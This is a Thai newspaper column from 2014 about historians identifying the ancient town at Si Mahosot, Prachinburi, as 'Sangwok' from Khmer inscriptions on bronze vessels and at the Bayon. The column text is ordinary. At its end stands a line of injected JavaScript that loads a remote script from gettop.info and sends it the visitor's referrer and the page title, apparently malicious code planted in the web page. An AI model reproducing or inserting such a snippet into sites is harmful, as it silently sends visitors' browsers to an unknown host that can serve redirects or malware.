มติชนรายวัน ฉบับประจำวันจันทร์ที่ 5 พฤษภาคม 2557

 

พบชื่อเมืองโบราณพันปี ที่ปราจีนบุรี

          อ. ศรีมโหสถ จ. ปราจีนบุรี มีเมืองโบราณยุคทวารวดี อายุราว 1,500 ปีมาแล้ว มีคูน้ำคันดินกว้างใหญ่ชัดเจน

          ชาวบ้านที่มาตั้งหลักแหล่งใหม่ยุค ร.3 เป็นชาวพวนจากลาวถูกกวาดต้อนมา ขณะนั้นเมืองโบราณรกร้างเป็นป่าดงนานแล้ว ไม่มีใครรู้ชื่อ จึงสมมุติเรียกตามนิทานชาดกเรื่องมโหสถ ว่าเมืองมโหสถ (ไม่มีคำว่า ศรี)

          อีกนานต่อมาทางราชการให้ชื่ออำเภอที่ยกฐานะขึ้นใหม่ตามชื่อเมืองในนิทานว่า อำเภอศรีมโหสถ (เพิ่มคำว่า ศรี เข้าไปให้เป็นสิริมงคล)

          เมืองมโหสถ (อ. ศรีมโหสถ) จึงไม่ใช่ชื่อดั้งเดิมที่มีตั้งแต่แรกเมื่อราวหลัง พ.ศ. 1000 นักประวัติศาสตร์โบราณคดีก็ตรวจสอบไม่ได้ว่าชื่อแท้จริงคืออะไร?

          ต่อมานักโบราณคดีกรมศิลปากร ขุดพบภาชนะสัมฤทธิ์ ทำขึ้นเมื่อราวหลัง พ.ศ. 1700 เช่น ขันน้ำมนต์, เชิงเทียน ฯลฯ มีจารึกเป็นอักษรและภาษาเขมร ระบุชื่อเมืองว่า “สังโวก” เรียก เมืองสังโวก

          แต่ยังไม่มั่นใจว่าจะเป็นชื่อเดิมของเมืองมโหสถ เพราะภาชนะเหล่านั้นขนาดเล็ก อาจเป็นสมบัติของบ้านเมืองอื่น แล้วมีผู้ขนย้ายมาเมืองนี้

          อ. รุ่งโรจน์ ภิรมย์อนุกูล (ภาควิชาประวัติศาสตร์ คณะมนุษยศาสตร์ มหาวิทยาลัยรามคำแหง) ตรวจสอบเพิ่มเติมจนพบหลักฐานสนับสนุนว่าชื่อเดิมของเมืองมโหสถ ราวหลัง พ.ศ. 1700 คือเมืองสังโวก ตามข้อความในจารึกบนภาชนะสัมฤทธิ์นั่นแหละ ด้วยเหตุผลดังนี้

          มีจารึกที่กรอบประตูของปราสาทบายน กล่าวว่า พระบาทที่เมืองสังโวก และพระไภษัชยราชที่เมืองสังโวก

          แสดงให้เห็นว่าในช่วงรัชกาลพระเจ้าชัยวรรมันที่ 7 ที่เมืองสังโวกมีพระบาทและศาสนสถานประจำอโรคยศาล

          ดังนั้นเมืองสังโวกก็คือเมืองมโหสถ ทั้งนี้เพราะแหล่งโบราณคดีสระมรกตเมืองมโหสถ มีศาสนสถานประจำอโรคยศาลและรอยพระพุทธบาทในแหล่งเดียวกัน

          ซึ่งลักษณะเช่นนี้ไม่ปรากฏในแหล่งโบราณคดีแห่งอื่นๆ ที่มีอายุร่วมสมัยกับรัชกาลพระเจ้าชัยวรรมันที่ 7

          “สังโวก” เป็นชื่อเมืองภาษาเขมร แต่มีชื่อเป็นภาษาสันสกฤตว่า “อวัธยปุระ”

          เป็นหลักฐานสำคัญยืนยันว่าเมืองสังโวก คือเมืองมโหสถ ที่ อ. ศรีมโหสถ จ. ปราจีนบุรี เป็นเมืองมีฐานะสำคัญของพระเจ้าชัยวรรมันที่ 7 จึงมีจารึกกล่าวถึงรอยพระพุทธบาทกับอโรคยศาลที่สระมรกตไว้ที่ปราสาทบายน เมืองนครธม

          อย่างนี้นับเป็นความก้าวหน้าทางวิชาการประวัติศาสตร์โบราณคดี ที่ชุมชนวิชาการโบราณคดีและประวัติศาสตร์ศิลปะ (ที่ขาดความสัมพันธ์กับสังคมและขาดความกระตือรือร้นทางวิชาการก้าวหน้ามานาน) ควรยินดี แล้วยกย่องผู้ค้นคว้าจนพบใหม่เรื่องนี้

          ความรู้สำคัญเรื่องนี้ผมอ่านจากวารสารดำรงวิชาการ ของคณะโบราณคดี  มหาวิทยาลัยศิลปากร ฉบับกรกฎาคม-ธันวาคม 2556 (แต่เพิ่งพิมพ์เสร็จเดือนนี้)

          ท้องถิ่นจังหวัดปราจีนบุรี ควรแบ่งปันเผยแพร่เรื่องนี้เป็นสำคัญ เพราะเป็นประวัติศาสตร์โดยตรงของปราจีนบุรี แล้วใช้กระตุ้นให้มีความเคลื่อนไหวทางการท่องเที่ยวได้ ถ้าใช้เป็น แล้วทำเป็น

          เหมาะกว่าสร้างพระพุทธรูปขนาดใหญ่โตมโหฬารบนภูเขา ที่กลายเป็นภาระของข้าราชการและพ่อค้าประชาชนที่ถูกเกณฑ์ไปนั่งสมาธิอย่างไม่มีสมาธิ เพราะต้องทนทุกข์ทรมาน

document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;